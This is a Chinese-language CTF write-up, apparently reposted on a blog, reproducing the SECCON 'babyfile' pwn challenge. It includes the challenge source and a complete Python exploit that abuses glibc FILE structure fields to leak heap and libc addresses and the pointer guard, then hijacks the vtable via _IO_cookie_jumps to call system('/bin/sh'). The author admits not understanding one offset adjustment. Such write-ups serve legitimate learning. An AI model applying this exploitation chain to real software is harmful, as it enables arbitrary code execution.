admin 管理员组文章数量: 1086019
[seccon pwn] babyfile 复现
终于找到WP,按着一点点学习IO_file结构
这个题目给了源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>static int menu(void);
static int getnline(char *buf, int size);
static int getint(void);#define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1)int main(void){FILE *fp;alarm(60);write_str("Play with FILE structure\n");if(!(fp = fopen("/dev/null", "r"))){write_str("Open error");return -1;}fp->_wide_data = NULL;for(;;){switch(menu()){case 0:goto END;case 1:fflush(fp);break;case 2:{unsigned char ofs;write_str("offset: ");if((ofs = getint()) & 0x80)ofs |= 0x40;write_str("value: ");((char*)fp)[ofs] = getint();}break;}write_str("Done.\n");}END:write_str("Bye!");_exit(0);
}static int menu(void){write_str("\nMENU\n""1. Flush\n""2. Trick\n""0. Exit\n""> ");return getint();
}static int getnline(char *buf, int size){int len;if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0)return -1;if(buf[len-1]=='\n')len--;buf[len] = '\0';return len;
}static int getint(void){char buf[0x10] = {};getnline(buf, sizeof(buf));return atoi(buf);
}
他先生成了一个IO_file结构在堆里,然后允许修改,但其它地址都没有给出(包含堆地址,只允许按结构的偏移改)。
看了WP学了好多东西
1,先修改IO_jump_t->vtable 这里指向的vtable 给他+8然后作一次flush,他会把堆地址放入到IO结构里,然后再改恢复原状。
#!/usr/bin/env python3
# Date: 2022-10-24 16:33:10
# Link:
# Usage:
# Debug : py babyfile.py debug ./babyfile -b malloc
# Remote: py babyfile.py remote ./babyfile ip:port# debug in Ubuntu 22.04
from pwncli import *
cli_script()io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libcCurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)def flush():sla('> ', '1')def edit(offset, val):sla('> ', '2')sla("offset: ", str(offset))sla("value: ", str(val))def change(offset, val):val = p64(val)for i,v in enumerate(val):edit(offset+i, v)def ROL(v,k):return ((v<<k)|(v>>(64-k)))&((1<<64)-1)#edit vtable A0->A8
#_IO_buf_base,_IO_buf_end == heap_addr
edit(0xd8, 0xa8)
flush()
'''
gef➤ x/40gx 0x000055bc216812a0
0x55bc216812a0: 0x00000000fbad2488 0x0000000000000000
0x55bc216812b0: 0x0000000000000000 0x0000000000000000
0x55bc216812c0: 0x0000000000000000 0x0000000000000000
0x55bc216812d0: 0x0000000000000000 0x0000000000000000
0x55bc216812e0: 0x0000000000000000 0x0000000000000000
0x55bc216812f0: 0x0000000000000000 0x0000000000000000
0x55bc21681300: 0x0000000000000000 0x00007f01477bb5c0
0x55bc21681310: 0x0000000000000003 0x0000000000000000
0x55bc21681320: 0x0000000000000000 0x000055bc21681380
0x55bc21681330: 0xffffffffffffffff 0x0000000000000000
0x55bc21681340: 0x0000000000000000 0x0000000000000000
0x55bc21681350: 0x0000000000000000 0x0000000000000000
0x55bc21681360: 0x0000000000000000 0x0000000000000000
0x55bc21681370: 0x0000000000000000 0x00007f01477b74a0 <- a80x562cde9a02a0: 0x00000000fbad2488 0x0000000000000000
0x562cde9a02b0: 0x0000000000000000 0x0000000000000000
0x562cde9a02c0: 0x0000000000000000 0x0000000000000000
0x562cde9a02d0: 0x0000000000000000 0x0000562cde9a0480 <- heap addr
0x562cde9a02e0: 0x0000562cde9a2480 0x0000000000000000
0x562cde9a02f0: 0x0000000000000000 0x0000000000000000
0x562cde9a0300: 0x0000000000000000 0x00007ff70f6765c0
0x562cde9a0310: 0x0000000000000003 0x0000000000000000
0x562cde9a0320: 0x0000000000000000 0x0000562cde9a0380
0x562cde9a0330: 0xffffffffffffffff 0x0000000000000000
0x562cde9a0340: 0x0000000000000000 0x0000000000000000
0x562cde9a0350: 0x0000000000000000 0x0000000000000000
0x562cde9a0360: 0x0000000000000000 0x0000000000000000
0x562cde9a0370: 0x0000000000000000 0x00007ff70f6724a8gef➤ heap chunks
Chunk(addr=0x562cde9a0010, size=0x290, flags=PREV_INUSE)[0x0000562cde9a0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x562cde9a02a0, size=0x1e0, flags=PREV_INUSE)[0x0000562cde9a02a0 88 24 ad fb 00 00 00 00 00 00 00 00 00 00 00 00 .$..............]
Chunk(addr=0x562cde9a0480, size=0x2010, flags=PREV_INUSE)[0x0000562cde9a0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x562cde9a2490, size=0x1eb80, flags=PREV_INUSE) ← top chunk
'''edit(0xd8, 0xa0) #change back
edit(8*5, 0x40) #_IO_write_base!=_IO_write_ptr
flush()
2,这时候IO_file里就有了好多堆地址指针,第二步就是泄露这个地址。
先在+14*8处写入文件id,这里要泄露所以写1到标准输出
然后是+4*8,+5*8处的write_base,write_ptr输入的起止地址
最后修改+2*8处的IO_read_end让他与write_base相同
这里泄露的是IO_wfile_jumps地址,根据偏移就能得到libc
edit(8*14, 1) #fileno
edit(8*5, 0x78) #write_ptr
edit(8*4, 0x70) #write_base
edit(8*2, 0x70) #_IO_read_end = write_base
'''
gef➤ x/40gx 0x556def01c2a0
0x556def01c2a0: 0x00000000fbad24a8 0x0000556def01c480
0x556def01c2b0: 0x0000556def01c470 0x0000556def01c480 #2 _IO_read_end
0x556def01c2c0: 0x0000556def01c470 0x0000556def01c478 #4 write_base #5 write_ptr
0x556def01c2d0: 0x0000556def01e480 0x0000556def01c480
0x556def01c2e0: 0x0000556def01e480 0x0000000000000000
0x556def01c2f0: 0x0000000000000000 0x0000000000000000
0x556def01c300: 0x0000000000000000 0x00007f42c711f5c0
0x556def01c310: 0x0000000000000001 0x0000000000000000 #14 fileno
0x556def01c320: 0x0000000000000000 0x0000556def01c380
0x556def01c330: 0xffffffffffffffff 0x0000000000000000
0x556def01c340: 0x0000000000000000 0x0000000000000000
0x556def01c350: 0x0000000000000000 0x0000000000000000
0x556def01c360: 0x0000000000000000 0x0000000000000000
0x556def01c370: 0x0000000000000000 0x00007f42c711b4a0
'''
flush()
lb = recv_current_libc_addr(0x1e8f60) #0x7fe2b0dd1f60 <_IO_wfile_jumps>
set_current_libc_base_and_log(lb)
3,得到__pointer_chk_guard,由于这里写的值是由__pointer_chk_guard保护的,所以要先得到这个值。这个值与canary在canary值后边,可以在内存里找到。
它的加密方式是与原值异或或循环左移17位。
泄露的方法与前面相同,就是修改+4*8处的write_base,和+5*8处的write_ptr还有+2*8处的IO_read_end
#get __pointer_chk_guard
#0x7f9762bc55e8: 0xd02162c95479db00 (canary) 0x65643a3a6269cd1b (__pointer_chk_guard)
chk_guard_addr = lb + 0x1f35f0 #remote 0x1f35f0
change(8*5, chk_guard_addr +8) #write_ptr
change(8*4, chk_guard_addr) #write_base
change(8*2, chk_guard_addr) #_IO_read_end = write_baseflush()
chk_guard_val = u64(rn(8))
log_ex(hex(chk_guard_val))
4,最后改IO_jump_t->vtable指向IO_cookie_jumps+0x18然后在+e0,+f0处分别写bin/sh+0x100000000(这里为什么高位整形要加1,师傅也没说,反正以后也只能画瓢,不用多管)和与_pointer_chk_guard加密过的system
system_val = ROL(chk_guard_val^libc.sym.system , 17)
_IO_cookie_jumps = lb + 0x1e8a20
bin_sh = next(libc.search(b'/bin/sh'))
change(0xf0, system_val)
change(0xd8, _IO_cookie_jumps + 0x18)
change(0xe0, bin_sh - 0x100000000) #
flush()ia()
本文标签: seccon pwn babyfile 复现
版权声明:本文标题:[seccon pwn] babyfile 复现 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.roclinux.cn/b/1693584455a230677.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论